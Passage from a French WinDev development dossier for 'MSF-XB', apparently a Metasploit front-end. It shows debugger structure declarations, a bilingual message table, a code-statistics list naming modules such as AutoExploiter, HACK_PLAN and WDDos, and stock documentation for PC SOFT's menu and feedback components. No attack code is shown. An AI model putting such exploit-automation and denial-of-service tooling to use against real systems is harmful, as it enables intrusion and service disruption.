DEBUG_RIP_INFO est une structureHEADER est un DEBUG_EVENT_HEADERdwError est un entierdwType est un entier

FIN

S_FLOATING_SAVE_AREA est une structureControlWord est un entier sans signe sur 4 octetsStatusWord est un entier sans signe sur 4 octetsTagWord est un entier sans signe sur 4 octetsErrorOffset est un entier sans signe sur 4 octetsErrorSelector est un entier sans signe sur 4 octetsDataOffset est un entier sans signe sur 4 octetsDataSelector est un entier sans signe sur 4 octetsRegisterArea est un tableau fixe de SIZE_OF_80387_REGISTERS entiers sur 1 octetsCr0NpxState est un entier sans signe sur 4 octets

FIN

S_CONTEXT est une structureContextFlags est un entier sans signe sur 4 octetsDr0 est un entier sans signe sur 4 octetsDr1 est un entier sans signe sur 4 octetsDr2 est un entier sans signe sur 4 octetsDr3 est un entier sans signe sur 4 octetsDr6 est un entier sans signe sur 4 octetsDr7 est un entier sans signe sur 4 octetsFloatSave est un S_FLOATING_SAVE_AREASegGs est un entier sans signe sur 4 octetsSegFs est un entier sans signe sur 4 octetsSegEs est un entier sans signe sur 4 octetsSegDs est un entier sans signe sur 4 octetsEdi est un entier sans signe sur 4 octetsEsi est un entier sans signe sur 4 octetsEbx est un entier sans signe sur 4 octetsEdx est un entier sans signe sur 4 octetsEcx est un entier sans signe sur 4 octetsEax est un entier sans signe sur 4 octetsEbp est un entier sans signe sur 4 octets

Page 27: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 27

Eip est un entier sans signe sur 4 octetsSegCs est un entier sans signe sur 4 octetsEFlags est un entier sans signe sur 4 octetseESP est un entier sans signe sur 4 octetsSegSs est un entier sans signe sur 4 octetsExtendedRegisters est un tableau fixe de MAXIMUM_SUPPORTED_EXTENSION entiers sur 1 octets

FIN

VGP_Bpx_Etat_Actif est un entier = 0x1VGP_Bpx_Etat_Inactif est un entier = 0x2VGP_Bpx_Etat_OneShot est un entier = 0x3VGP_Bpx_Etat_EP est un entier = 0x4

S_BPDATA est une structurelpAddr est un entier sans signe sur 4 octetsbyData est un entier sans signe sur 1 octetsnCount est un entier sans signe sur 4 octetsbEtat est un entier = 0x0

FIN

VGP_LastTrace est une chaîne = ""VGP_LastBranch est un entier = 0Disasm est un _DisasmmySI est un STARTUPINFOAmyPI est un PROCESS_INFORMATIONdbEvent est un DEBUG_EVENT_HEADERcontext est un S_CONTEXTDebugException est un DEBUG_EXCEPTION_DEBUG_INFODebugCreateProcess est un DEBUG_CREATE_PROCESS_DEBUG_INFO

VGP_bpData est un tableau de 5000 S_BPDATAVGP_BPX est un entier = 1

VGP_Executable est une chaîne = ""

C_PE est un C_cPE

VGP_DisasmLibrary est une chaîne = "BeaEngine.dll"

VGP_RepDebugger est une chaîne = ""SI EnModeTest() ALORS

VGP_RepDebugger = ComplèteRep(fRepEnCours())SINON

VGP_RepDebugger = ComplèteRep(fRepExe())FIN

Page 28: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 28

Disasm:nOptions = Tabulation+NasmSyntax+PrefixedNumeral

SI PAS EnModeTest() ALORSSI OuiNon("Lancer msfupdate?") ALORS

fctMsfUpdate(0)FIN

FIN

Projet Messages multilangues

N° Message

1 FR: Error: the Metasploit2's path specified in MSF-XB.INI [GB:

2 FR: Erreur: le répertoire du Metasploit2 spécifié dans MSF-XB.INI [GB: Error: the Metasploit2's path specified in MSF-XB.INI [

3 FR: ] n'existe pas.GB: ] doesn't exist.

4 FR: Celà signifie probablement que:GB: It probably means that:

5 FR: * MSF2 n'est pas installéGB: * MSF2 is not installed

6 FR: * MSF2 est installé dans un autre répertoire (installation différente de celle par défaut / nouvelle version installée)GB: * MSF2 is installed in another directory (non-default installation / new version installed)

7 FR: Impossible de créer ou d'initialiser l'accès au fichier : GB: Can't create file:

8 FR: Lancer msfupdate?GB: Launch msfupdate?

9 FR: Répertoire du Framework3GB: Framework3's path

10 FR: Sélectionner le répertoire Framework3GB: Choose the Framework3 directory

Page 29: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 29

N° Message

11 FR: Exécutable du débogueurGB: Debugger's executable file

12 FR: Fichier Exécutable (*.EXE)GB: Executable file (*.EXE)

13 FR: Télécharger un débogueur?GB:

14 FR: Télécharger le Metasploit Framework 3?GB: Download Metasploit framework version 3?

15 FR: Fichier non trouvé:GB: File not found:

17 FR: Fichier non trouvé:GB:

N° mess.: numéro de message.

Projet Statistiques sur le code

Lignes % Lig./tr

983 45 42 Procedures globales de MSF-XB1026 36 78 WDDEBUG

39 0 0 Apropos147 36 36 AutoExploiter239 25 239 EXPLOIT_PARAMETERS136 2 15 FEN_MAIN_WDDEBUG195 19 195 FEN_msfpescan

89 0 0 Fiche_et_table_EXPLOIT_HEADER89 0 0 HACK_PLAN89 0 0 IPCmanipulator

2170 26 144 MSFXB_Assistant589 14 294 MSFXB_Editor

Page 30: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 30

Lignes % Lig./tr

212 0 106 MSFXB_Menu210 0 0 MSFXB_Stats210 0 0 TABLE_ASCII210 0 0 WinDevDialogBox412 23 45 WinDevMessageBox222 0 0 FI_MenuHWinDevHelp747 16 747 MSF-XB478 19 43 C_cPE838 14 39 CiExplore465 9 51 WDDos327 0 327 ETAT_EXPLOIT_CODE325 0 0 Accueil

6494 32 53

Lignes: Nombre total de lignes de code. % comm.: Pourcentage de commentaires dans le code.

Lig./trait.: Nombre de lignes de code par traitement.

Projet Liste des tâches

Dev. Prior Libellé de la tâche Term

JA //AFAIRE A REVOIR

JA //AFAIRE A REVOIR

JA //A FAIRE

JA //AFAIRE A REVOIR

Dev.: développeur affecté à la tâche.

Term.: Tâche terminée.

Page 31: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 31

Projet Composants inclus dans le projet

CCMenu

CCMenu G:\Mes Projets\MSF-XB11\CCMenu.WDI

Propriétaire PC SOFT

Version 11.00 Ah

Copyright PC SOFT 2006

CCMenuLe composant CCMenu permet de gérer certaines des fonctionnalités proposées par le Menu "?".

RappelLe Menu "?" permet aux utilisateurs de vos applications d'accéder directement à plusieurs fonctionnalités automatiques.

ParticularitéTous les appels au composant CCMenu sont générés automatiquement par l'assistant du menu "?".

Liste des procédures/fonctions

Le composant CCmenu propose plusieurs procédures. Chaque procédure permet de gérer une des fonctionnalités proposées par le Menu "?".

Collection WDMenu

AideFAA

Lance l'aide des fonctionnalités automatiques de l'application (FAA) au format PDF. Ce document permet aux utilisateurs de votre application de connaître les fonctionnalités automatiquement proposées dans les

applications WinDev.

Licence

Affiche la licence (au format texte, HLP ou CHM) de l'application.

LiveUpdate

Permet de vérifier si une mise à jour de l'application est disponible. Si une mise à jour est disponible, elle est automatiquementexécutée.

OptimiseAccèsDonnées

Réalise un calcul des statistiques sur la base de données Hyper File de l'application. Ce calcul permet d'optimiser les recherches, lesfiltres ... de votre application.

Page 32: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 32

RéparationDonnées

Effectue une réindexation des fichiers de données Hyper File de l'application.

SauvegardeDonnées

Effectue la sauvegarde des fichiers de données Hyper File de l'application.

SauvegardeAppli

Effectue une sauvegarde de l'application (exécutable, dlls ...)

RemarqueLes quatre dernières procédures (OptimiseAccèsDonnées, RéparationDonnées, SauvegardeDonnées et SauvegardeAppli) peuvent être longues et potentiellementdangereuses d'un point de vue sécurité. La sauvegarde des données par exemple permettrait à n'importe quel utilisateur de récupérer la totalité des données de votreapplication.Si votre application utilise le Groupware Utilisateur, ces quatre procédures ne sont accessibles qu'aux utilisateurs disposant des droits administrateur.Attention, si votre application n'utilise pas le Groupware Utilisateur, ces quatre procédures sont accessibles par tous les utilisateurs.

Liste des constantes

Le composant CCMenu ne propose pas de constante.

Liste des variables globales

Le composant CCMenu ne propose pas de variable globale.

Liste des fenêtres internes accessibles

Le composant CCMenu ne propose pas de fenêtre interne.

Procédures

Procédure AideFAA

La procédure AideFAA lance l'aide des fonctionnalités automatiques de l'application (FAA) au format PDF.Ce document permet aux utilisateurs de votre application de connaître les fonctionnalités automatiquement proposées dans les applications WinDev.

Syntaxe :

AideFAA()Exemple :

Page 33: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 33

// Ouvre le fichier d'aide des FAA AideFAA()

Procédure Licence

La procédure Licence affiche la licence (au format texte, HLP ou CHM) de l'application.

Syntaxe :

Licence()Exemple :

// Ouvre le fichier de licence de l'application Licence()

Procédure LiveUpdate

La procédure LiveUpdate permet de vérifier si une mise à jour de l'application est disponible. Si une mise à jour est disponible, elle est automatiquement exécutée.

Syntaxe :

LiveUpdate()Exemple :

// Vérifie si une mise à jour de l'application est disponible et l'exécute le cas échéant LiveUpdate()

Procédure OptimiseAccèsDonnées

La procédure OptimiseAccèsDonnées réalise un calcul des statistiques sur la base de données Hyper File de l'application. Ce calcul permet d'optimiser les recherches, les filtres... de votre application.

Page 34: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 34

Syntaxe :

OptimiseAccèsDonnées()Exemple :

// Effectue un calcul des statistiques sur les fichiers de données de l'application OptimiseAccèsDonnées()

Procédure RéparationDonnées

La procédure RéparationDonnées effectue une réindexation des fichiers de données Hyper File de l'application.

Syntaxe :

RéparationDonnées()Exemple :

// Effectue une réindexation des fichiers de données de l'application RéparationDonnées()

Procédure SauvegardeDonnées

La procédure SauvegardeDonnées effectue la sauvegarde des fichiers de données Hyper File de l'application.

Syntaxe :

SauvegardeDonnées()Exemple :

// Effectue la sauvegarde des fichiers de données de l'application SauvegardeDonnées()

Procédure SauvegardeAppli

Page 35: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 35

La procédure SauvegardeAppli effectue une sauvegarde de l'application (exécutable, dlls ...).

Syntaxe :

SauvegardeAppli()Exemple :

// Effectue une sauvegarde de l'application (exécutable, dlls ...) SauvegardeAppli()

Nom

WDMenu

CCFeedback

CCFeedback G:\Mes Projets\MSF-XB11\FeedBack.WDI

Propriétaire PC SOFT

Version 11.00Dj

Copyright PC SOFT 2006

Email [email protected]

Remontée des besoins utilisateur (Feedback)Le composant Feedback vous permet de recevoir les suggestions et les dysfonctionnements rencontrés par les utilisateurs de vos applications.

Il permet également de saisir et d'enregistrer des règles métier que vous pouvez transmettre au responsable de votre application.

Particularités

Page 36: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 36

s

Il existe deux modes de fonctionnement (automatiques) :· Mode "connecté" :Si WINDEV, WEBDEV ou WINDEV MOBILE est installé sur le poste de l'utilisateur et que les données des Centres de Contrôles sont accessibles, les suggestions et dysfonctionnementsseront immédiatement enregistrés dans le spool "Retours-client" de votre application (1)

· Mode "déconnecté" :Dans tous les autres cas, les suggestions et dysfonctionnements seront envoyés par email à l'adresse de votre choix. Le Centre de Suivi Qualité ou le Centre de Suivi de Projets vouspermettront de récupérer les emails envoyés afin de les enregistrer directement dans le spool "Retours-client" de votre application (1)

Le composant Feedback détermine automatiquement le mode approprié (il est bien entendu possible de modifier les options par défaut par programmation).

(1) Votre application doit avoir été préalablement enregistrée dans le Centre de Suivi de Pro

Liste des procédures/fonctions

Le composant Feedback propose plusieurs fonctions :

Collection pFeedback

Configure

Permet de configurer les options du composant FeedbackErreurMessage

Permet de connaître les informations sur la dernière erreur rencontrée

NouvelleDemande

Permet d'ouvrir l'assistant de création d'une suggestion ou d'un dysfonctionnement

Collection pCCProcedures

DemandeAjoute

Permet d'ajouter directement une demande dans le spool de votre choix

Liste des constantes

Le composant Feedback propose plusieurs constantes :

fbEmail

Option : adresse email de destination pour la réception des emails envoyés par le composantfbNomProjet

Option : nom du projet associé à votre application

fbNomApplication

Option : nom de votre applicationfbListeModules

Option : liste des modules (ou "parties") de votre application

fbLogo

Option : image de l'assistant (votre logo)fbCopieEcranAuto

Option : copie d'écran automatique

Page 37: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 37

efbNuméroSérie

Option : procédure utilisateur permettant de vérifier un numéro de série

fbCheminDonnéesCC

Option : chemin d'accès aux données des Centres de ContrôlesfbTypeDemande

Option : type de demande effectuée dans l'assistant

fbNomUtilisateur

Option : nom ou initiales de l'utilisateur de votre applicationfbNomSociété

Option : nom de la société de l'utilisateur de votre application

fbMessagePersonnalisé

Option : message personnalisé à afficher au lancement de l'assistantfbServeurSMTP

Option : précise le serveur SMTP par défaut à utiliser

fbLoginServeurSMTP

Option : précise le login optionnel du serveur SMTP par défaut à utiliserfbPasswordServeurSMTP

Option : précise le mot de passe optionnel du serveur SMTP par défaut à utiliser

fbEmpêcheModifSMTP

Option : permet d'empêcher la modification du paramétrage SMTP défini par programmationfbCheminSauvegarde

Option : chemin de sauvegarde des documents

fbtSuggestion

Type de demande : faire une suggestionfbtDysfonctionnement

Type de demande : signaler un dysfonctionnement

fbtRègleMétier

Type de demande : règle métier

fbtChoixUtilisateur

Type de demande : le type est choisi par l'utilisateur

Liste des variables globales

Le composant Feedback propose une variable globale :

EnErreur

Booléen indiquant si une erreur a été rencontrée (Vrai) ou non (Faux)

Liste des fenêtres internes accessibles

Le composant Feedback propose une fenêtre interne :

FI_SelectionSpool

Permet de sélectionner le spool dans lequel enregistré une demande (fonction DemandeAjoute)

Procédures

Procédure Configure

La procédure Configure permet de connaître ou de modifier une option du composant Feedback.

Page 38: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 38

.

Syntaxe :

<Résultat> = Configure(<Option> [, <Nouvelle valeur>])Paramètres :

<Résultat> : Booléen, entier ou chaîne de caractères· Si le paramètre <Nouvelle valeur> n'est pas renseigné, <Résultat> contient la valeur actuelle de l'option spécifiée.Pour plus de détails, consultez le paragraphe "Options".

· Si le paramètre <Nouvelle valeur> est renseigné, <Résultat> vaut Vrai si l'option a été modifiée, Faux dans le cas contraire.La fonction ErreurMessage permet de connaître le message d'erreur.

<Option> : Constante de type entier Option dont la valeur doit être récupérée ou modifiée. Ce paramètre peut prendre l'une des valeurs suivantes :

fbEmail

: adresse email de destination pour la réception des emails envoyés par le composant fbNomProjet

: nom du projet de votre application

fbNomApplication

: nom de votre application fbListeModules

: liste des modules (ou "parties") de votre application

fbLogo

: votre logo fbCopieEcranAuto

: copie d'écran automatique

fbNuméroSérie

: procédure utilisateur permettant de vérifier un numéro de série fbCheminDonnéesCC

: chemin d'accès aux données des Centres de Contrôles

fbTypeDemande

: type de demande effectuée dans l'assistant fbNomUtilisateur

: nom ou initiales de l'utilisateur de votre application

fbNomSociété

: nom de la société de l'utilisateur de votre application fbMessagePersonnalisé

: message personnalisé à afficher au lancement de l'assistant

fbServeurSMTP

: précise le serveur SMTP par défaut à utiliser fbLoginServeurSMTP

: précise le login optionnel du serveur SMTP par défaut à utiliser

fbPasswordServeurSMTP : précise le mot de passe optionnel du serveur SMTP par défaut à utiliser

fbEmpêcheModifSMTP : permet d'empêcher la modification du paramétrage SMTP défini par programmation

fbCheminSauvegarde : chemin par défaut de sauvegarde (et active la sauvegarde)

<Nouvelle valeur> : Booléen entier ou chaîne de caractères avec guillemets (optionnel) Nouvelle valeur de l'option. Si ce paramètre n'est pas précisé, <Résultat> contient la valeur actuelle de l'option spécifiée. Pour plus de détails, consultez le paragraphe "Options".

Options : En fonction de l'option spé

Page 39: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 39

écifiée :

fbEmail·

Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Adresse email de réception des retours client. Par défaut, <Résultat> contient la valeur de ProjetInfo(piEmailApplication)

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Adresse email de réception des retours client.

fbNomProjet

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Nom du projet associé à votre application. Par défaut, <Résultat> contient la valeur de ProjetInfo(piNomProjet)

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Nom du projet de votre application. Le nom du projet doit être celui qui a été utilisé pour identifier votre projet dans le Centre de Suivi de Projets.

fbNomApplication

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Nom de votre application. Par défaut, <Résultat> contient la valeur de ProjetInfo(piNomProjet)

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Nom de votre application. Ce nom sera affiché dans l'assistant.

fbListeModules

· Si <No

Page 40: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 40

ouvelle Valeur> n'est pas renseignée <Résultat> : Chaîne de caractères

Liste des modules (ou "parties") de votre application. Par défaut, <Résultat> contient une chaîne vide ("")

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Liste des modules (ou "parties") de votre application. Le séparateur utilisé doit être un retour chariot (RC). Exemple :

Module1 <RC> Module2 <RC> ... <RC> ModuleN

Si cette option est renseignée, un bouton permettra à l'utilisateur de sélectionner le module concerné par sa demande.

fbLogo

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Chemin du logo de votre application. Par défaut, <Résultat> contient une chaîne vide ("")

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Chemin du logo de votre application. Ce logo sera affiché dans l'assistant. Nous vous conseillons un logo vertical d'une dimension maximale de 80x336. Par défaut, le logo de WINDEV est affiché.

fbCopieEcranAuto

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Booléen Vrai si la copie d'écran automatique est activée, Faux dans le cas contraire. Par défaut, <Résultat> contient Vrai.

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Booléen.

Vrai si la copie d'écran automatique doit êtr

Page 41: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 41

re activée, Faux dans le cas contraire.

fbNuméroSérie

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Nom de la procédure permettant de vérifier un numéro de série. Par défaut, <Résultat> contient une chaîne vide ("") et la saisie d'un numéro de série n'est pas activée.

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Nom complet de la procédure W-Langage permettant de vérifier un numéro de série. Exemple :

pCollection.MaProcédure

Si cette option n'est pas renseignée, aucun numéro de série ne sera demandé à l'utilisateur.

La procédure utilisateur W-Langage doit être de la forme :

PROCEDURE <Nom de la procédure> (NuméroDeSérie) ... RENVOYER Booléen

où :

<Nom de la procédure> est le nom de la procédure W-Langage spécifiée par <Nouvelle valeur> NuméroDeSérie (chaîne) est le numéro de série saisi par l'utilisateur Booléen (booléen) est la valeur de retour (Vrai si le numéro de série est valide, Faux dans le cas contraire)

fbCheminDonnéesCC

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Contient le chemin complet d'accès aux données des Centres de Contrôles. Par défaut, <Résultat> contient : - une chaîne vide ("") si les Centres de Contrôles ne sont pas accessibles - le chemin d'accès si les Centres de Contrôles sont accessibles (déterminé automatiquement par le composant, notamment grâce à la

fonction ProjetInfo(piCheminDonnéesCCApplication)). - l'URL d'accès au serveur Hyper File Client/Serveur sur lequel sont hébergés les Centres de Contrôles (chaîne au format :

hfcs//<utilisateur>:<motdepasse>@<serveur>:<port>/<base de données>)

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Chemin complet d'accès aux données des Centres de Contrôles. Un chemin UNC peut être utilisé.

Page 42: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 42

hfcs//<utilisateur>:<motdepasse>@<serveur>:<port>/<base de données>

Le chemin d'accès aux données des Centres de Contrôles peut être connu en cliquant sur l'option "Paramètres" du Centre de Suivi de

Projets ou grâce à la fonction ProjetInfo(piCheminDonnéesCC). Si ce chemin n'est pas valide ou n'est pas renseigné, le composant Feedback fonctionnera en mode "deconnecté".

fbTypeDemande

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Constante de type entier Type de demande par défaut :

fbtSuggestion

: faire une suggestion fbtDysfonctionnement

: signaler un dysfonctionnement

fbtRègleMétier

: enregistrer une règle métier fbtChoixUtilisateur

: choisi par l'utilisateur (c'est-à-dire, choisi dans l'assistant)

Par défaut, <Résultat> contient fbtChoixUtilisateur.

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Constante de type entier

Type de demande à effectuer par défaut : fbtSuggestion

: faire une suggestion

fbtDysfonctionnement

: signaler un dysfonctionnement fbtRègleMétier

: enregistrer une règle métier

fbtChoixUtilisateur

: choisi par l'utilisateur

fbNomUtilisateur

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Nom ou initiales de l'utilisateur de votre application. Par défaut, <Résultat> contient une chaine vide ("").

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Nom ou initiales de l'utilisateur de votre application. Si ce nom n'est pas précisé, le nom d'utilisateur sera (par ordre de priorité) : - soit la valeur renvoyée par RéseauUtilisateur()

(valeur par défaut)

- soit le nom utilisé par le groupw

Page 43: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 43

ware utilisateur (si il est actif) - soit le nom spécifié avec la fonction Configure

Dans tous les cas, si le nom utilisateur a été renseigné par programmation, c'est ce nom qui sera utilisé.

fbNomSociété

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Nom de la société de l'utilisateur. Par défaut, <Résultat> contient une chaine vide ("").

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Nom de la société de l'utilisateur.

fbMessagePersonnalisé

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Message personnalisé. Par défaut, <Résultat> contient une chaine vide ("").

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Message personnalisé à afficher au lancement de l'assistant. Ce message sera affiché sur un plan indépendant. Ce message peut être multiligne.

Par défaut, aucun plan "Message personnalisé" n'est affiché.

fbServeurSMTP

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Serveur SMTP utilisé par défaut pour l'envoi des emails en automatique. Par défaut, <Résultat> contient une chaîne vide ("")

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Cha

Page 44: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 44

aîne de caractères avec guillemets. Serveur SMTP utilisé par défaut pour l'envoi des emails en automatique. Par défaut, aucun serveur SMTP n'est utilisé (sauf si l'utilisateur l'a déjà renseigné au moins une fois).

fbLoginServeurSMTP

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Nom d'utilisateur pour la connexion au serveur SMTP utilisé par défaut pour l'envoi des emails en automatique. Par défaut, <Résultat> contient une chaîne vide ("")

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Nom d'utilisateur pour la connexion au serveur SMTP utilisé par défaut pour l'envoi des emails en automatique. Par défaut, aucun nom d'utilisateur SMTP n'est utilisé (sauf si l'utilisateur l'a déjà renseigné au moins une fois).

fbPasswordServeurSMTP

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Mot de passe pour la connexion au serveur SMTP utilisé par défaut pour l'envoi des emails en automatique. Par défaut, <Résultat> contient une chaîne vide ("")

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Mot de passe pour la connexion au serveur SMTP utilisé par défaut pour l'envoi des emails en automatique. Par défaut, aucun mot de passe SMTP n'est utilisé (sauf si l'utilisateur l'a déjà renseigné au moins une fois).

fbEmpêcheModifSMTP

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Booléen Vrai si l'utilisateur ne peut pas modifier les informations de connexion SMTP, Faux si ces informations sont modifiables. Par défaut, <Résultat> est à Faux.

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire.

<Nouvelle valeur> : Booléen.

Vrai pour empêcher l'utilisateur de modifier les informations de connexion SMTP,

Page 45: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 45

, Faux pour lui laisser la possibilité de les modifier. Par défaut, l'utilisateur peut modifier les informations de connexion SMTP.

fbCheminSauvegarde

· Si <Nouvelle Valeur> n'est pas renseignée

<Résultat> : Chaîne de caractères Contient le chemin complet de sauvegarde Par défaut, <Résultat> contient une chaîne vide ("").

· Si <Nouvelle Valeur> est renseignée

<Résultat> : Booléen Vrai si la modification a été prise en compte, Faux dans le cas contraire (le répertoire n'existe pas).

<Nouvelle valeur> : Chaîne de caractères avec guillemets.

Chemin complet de sauvegarde. Un chemin UNC peut être utilisé. Si ce paramètre est précisé, la sauvegarde de vos demandes seraactivée.

Exemple :

// Configure l'adresse email Configure(fbEmail, "[email protected]") // Modifie le logo Configure(fbLogo, "monlogo.jpg") // Vérifie si une erreur a eu lieu SI pFeedback.EnErreur ALORS

// Affiche le message d'erreur Erreur(ErreurMessage())

FIN

Procédure NouvelleDemande

La procédure NouvelleDemande permet d'ouvrir l'assistant de création d'une suggestion ou d'un dysfonctionnement.Pour fonctionner en mode "déconnecté", il est nécessaire de configurer l'adresse email de réception des retours client :- soit par programmation en utilisant la procédure Config

Page 46: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 46

